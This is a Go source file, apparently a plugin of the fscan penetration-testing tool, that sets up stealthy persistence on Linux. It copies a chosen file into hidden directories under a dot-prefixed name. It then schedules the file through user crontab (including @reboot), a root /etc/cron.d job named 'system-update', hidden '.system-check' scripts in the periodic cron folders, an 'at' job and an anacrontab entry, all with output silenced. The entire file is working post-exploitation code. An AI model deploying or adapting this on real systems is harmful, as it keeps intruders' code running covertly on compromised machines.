//go:build linux package crontask import ( "context" "fmt" "os" "os/exec" "os/user" "path/filepath" "runtime" "strings" "time" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/plugins/base" "github.com/shadow1ng/fscan/plugins/local" ) // CronTaskPlugin 计划任务持久化插件 - 使用简化架构 type CronTaskPlugin struct { *local.BaseLocalPlugin targetFile string } // NewCronTaskPlugin 创建计划任务持久化插件 - 简化版本 func NewCronTaskPlugin() *CronTaskPlugin { // 从全局参数获取目标文件路径 targetFile := common.PersistenceTargetFile if targetFile == "" { targetFile = "" // 需要用户指定 } metadata := &base.PluginMetadata{ Name: "crontask", Version: "1.0.0", Author: "fscan-team", Description: "Linux 计划任务持久化插件,通过crontab定时任务实现持久化", Category: "local", Tags: []string{"local", "persistence", "linux", "cron", "schedule"}, Protocols: []string{"local"}, } plugin := &CronTaskPlugin{ BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), targetFile: targetFile, } // 只支持Linux平台 plugin.SetPlatformSupport([]string{"linux"}) // 需要crontab权限 plugin.SetRequiresPrivileges(false) return plugin } // Initialize 初始化插件 func (p *CronTaskPlugin) Initialize() error { if p.targetFile == "" { return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径") } // 检查目标文件是否存在 if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { return fmt.Errorf("目标文件不存在: %s", p.targetFile) } // 检查crontab是否可用 if _, err := exec.LookPath("crontab"); err != nil { return fmt.Errorf("crontab命令不可用: %v", err) } return p.BaseLocalPlugin.Initialize() } // Scan 重写扫描方法以确保调用正确的ScanLocal实现 func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { return p.ScanLocal(ctx, info) } // ScanLocal 执行计划任务持久化 - 简化版本 func (p *CronTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { if runtime.GOOS != "linux" { return &base.ScanResult{ Success: false, Error: fmt.Errorf("计划任务持久化只支持Linux平台"), }, nil } common.LogBase("开始计划任务持久化...") common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile)) // 执行持久化操作 results := make([]string, 0) // 1. 复制文件到持久化目录 persistPath, err := p.copyToPersistPath() if err != nil { common.LogError(fmt.Sprintf("复制文件失败: %v", err)) } else { results = append(results, fmt.Sprintf("文件已复制到: %s", persistPath)) common.LogSuccess(fmt.Sprintf("文件已复制到: %s", persistPath)) } // 2. 添加用户crontab任务 err = p.addUserCronJob(persistPath) if err != nil { common.LogError(fmt.Sprintf("添加用户cron任务失败: %v", err)) } else { results = append(results, "已添加用户crontab任务") common.LogSuccess("已添加用户crontab任务") } // 3. 添加系统cron任务 systemCronFiles, err := p.addSystemCronJobs(persistPath) if err != nil { common.LogError(fmt.Sprintf("添加系统cron任务失败: %v", err)) } else { results = append(results, fmt.Sprintf("已添加系统cron任务: %s", strings.Join(systemCronFiles, ", "))) common.LogSuccess("已添加系统cron任务") } // 4. 创建at任务(一次性任务) err = p.addAtJob(persistPath) if err != nil { common.LogError(fmt.Sprintf("添加at任务失败: %v", err)) } else { results = append(results, "已添加at延时任务") common.LogSuccess("已添加at延时任务") } // 5. 创建anacron任务 err = p.addAnacronJob(persistPath) if err != nil { common.LogError(fmt.Sprintf("添加anacron任务失败: %v", err)) } else { results = append(results, "已添加anacron任务") common.LogSuccess("已添加anacron任务") } success := len(results) > 0 result := &base.ScanResult{ Success: success, Service: "CronTaskPersistence", Banner: fmt.Sprintf("计划任务持久化完成 - 目标: %s", filepath.Base(p.targetFile)), Extra: map[string]interface{}{ "target_file": p.targetFile, "platform": runtime.GOOS, "methods": results, "status": "completed", }, } return result, nil } // copyToPersistPath 复制文件到持久化目录 func (p *CronTaskPlugin) copyToPersistPath() (string, error) { // 选择持久化目录 persistDirs := []string{ "/tmp/.system", "/var/tmp/.cache", "/opt/.local", } // 获取用户目录 if usr, err := user.Current(); err == nil { userDirs := []string{ filepath.Join(usr.HomeDir, ".local", "bin"), filepath.Join(usr.HomeDir, ".cache"), } persistDirs = append(userDirs, persistDirs...) } var targetDir string for _, dir := range persistDirs { if err := os.MkdirAll(dir, 0755); err == nil { targetDir = dir break } } if targetDir == "" { return "", fmt.Errorf("无法创建持久化目录") } // 生成隐藏文件名 basename := filepath.Base(p.targetFile) hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename)) if p.isScriptFile() { hiddenName += ".sh" } targetPath := filepath.Join(targetDir, hiddenName) // 复制文件 err := p.copyFile(p.targetFile, targetPath) if err != nil { return "", err } // 设置执行权限 os.Chmod(targetPath, 0755) return targetPath, nil } // copyFile 复制文件内容 func (p *CronTaskPlugin) copyFile(src, dst string) error { sourceData, err := os.ReadFile(src) if err != nil { return err } return os.WriteFile(dst, sourceData, 0755) } // addUserCronJob 添加用户crontab任务 func (p *CronTaskPlugin) addUserCronJob(execPath string) error { // 获取现有crontab cmd := exec.Command("crontab", "-l") currentCrontab, _ := cmd.Output() // 生成新的cron任务 cronJobs := p.generateCronJobs(execPath) newCrontab := string(currentCrontab) for _, job := range cronJobs { if !strings.Contains(newCrontab, execPath) { if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") { newCrontab += "\n" } newCrontab += job + "\n" } } // 应用新的crontab cmd = exec.Command("crontab", "-") cmd.Stdin = strings.NewReader(newCrontab) return cmd.Run() } // addSystemCronJobs 添加系统cron任务 func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) { cronDirs := []string{ "/etc/cron.d", "/etc/cron.hourly", "/etc/cron.daily", "/etc/cron.weekly", "/etc/cron.monthly", } var modified []string // 在cron.d中创建配置文件 cronFile := filepath.Join("/etc/cron.d", "system-update") cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath) if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil { modified = append(modified, cronFile) } // 在每个cron目录中创建脚本 for _, cronDir := range cronDirs[1:] { // 跳过cron.d if _, err := os.Stat(cronDir); os.IsNotExist(err) { continue } scriptFile := filepath.Join(cronDir, ".system-check") scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath) if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil { modified = append(modified, scriptFile) } } if len(modified) == 0 { return nil, fmt.Errorf("无法创建任何系统cron任务") } return modified, nil } // addAtJob 添加at延时任务 func (p *CronTaskPlugin) addAtJob(execPath string) error { // 检查at命令是否可用 if _, err := exec.LookPath("at"); err != nil { return err } // 创建5分钟后执行的任务 atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath) cmd := exec.Command("sh", "-c", atCommand) return cmd.Run() } // addAnacronJob 添加anacron任务 func (p *CronTaskPlugin) addAnacronJob(execPath string) error { anacronFile := "/etc/anacrontab" // 检查anacrontab是否存在 if _, err := os.Stat(anacronFile); os.IsNotExist(err) { return err } // 读取现有内容 content := "" if data, err := os.ReadFile(anacronFile); err == nil { content = string(data) } // 检查是否已存在 if strings.Contains(content, execPath) { return nil } // 添加新任务 anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath) if !strings.HasSuffix(content, "\n") && content != "" { content += "\n" } content += anacronLine + "\n" return os.WriteFile(anacronFile, []byte(content), 0644) } // generateCronJobs 生成多种cron任务 func (p *CronTaskPlugin) generateCronJobs(execPath string) []string { baseCmd := execPath if p.isScriptFile() { baseCmd = fmt.Sprintf("bash %s", execPath) } baseCmd += " >/dev/null 2>&1" return []string{ // 每5分钟执行一次 fmt.Sprintf("*/5 * * * * %s", baseCmd), // 每小时执行一次 fmt.Sprintf("0 * * * * %s", baseCmd), // 每天执行一次 fmt.Sprintf("0 0 * * * %s", baseCmd), // 启动时执行 fmt.Sprintf("@reboot %s", baseCmd), } } // isScriptFile 检查是否为脚本文件 func (p *CronTaskPlugin) isScriptFile() bool { ext := strings.ToLower(filepath.Ext(p.targetFile)) return ext == ".sh" || ext == ".bash" || ext == ".zsh" } // GetLocalData 获取计划任务持久化本地数据 func (p *CronTaskPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { data := make(map[string]interface{}) data["plugin_type"] = "crontask" data["platform"] = runtime.GOOS data["target_file"] = p.targetFile data["persistence_method"] = "Cron Task" if hostname, err := os.Hostname(); err == nil { data["hostname"] = hostname } // 获取当前时间 data["schedule_time"] = time.Now().Format("2006-01-02 15:04:05") return data, nil } // ExtractData 提取数据 func (p *CronTaskPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { return &base.ExploitResult{ Success: true, Output: fmt.Sprintf("计划任务持久化完成,目标文件: %s", p.targetFile), Data: data, Extra: map[string]interface{}{ "target_file": p.targetFile, "persistence_method": "Cron Task", "status": "completed", }, }, nil } // GetInfo 获取插件信息 func (p *CronTaskPlugin) GetInfo() string { var info strings.Builder info.WriteString("计划任务持久化插件\n") info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) info.WriteString("支持平台: Linux\n") info.WriteString("功能: 通过cron定时任务实现持久化\n") info.WriteString("方法: crontab、系统cron、at任务、anacron\n") info.WriteString("频率: 每5分钟、每小时、每天、启动时\n") info.WriteString("支持文件: 可执行文件和shell脚本\n") return info.String() } // RegisterCronTaskPlugin 注册计划任务持久化插件 func RegisterCronTaskPlugin() { factory := base.NewSimplePluginFactory( &base.PluginMetadata{ Name: "crontask", Version: "1.0.0", Author: "fscan-team", Description: "Linux 计划任务持久化插件,通过crontab定时任务实现持久化", Category: "local", Tags: []string{"crontask", "local", "persistence", "linux"}, Protocols: []string{"local"}, }, func() base.Plugin { return NewCronTaskPlugin() }, ) base.GlobalPluginRegistry.Register("crontask", factory) } // init 插件注册函数 func init() { RegisterCronTaskPlugin() }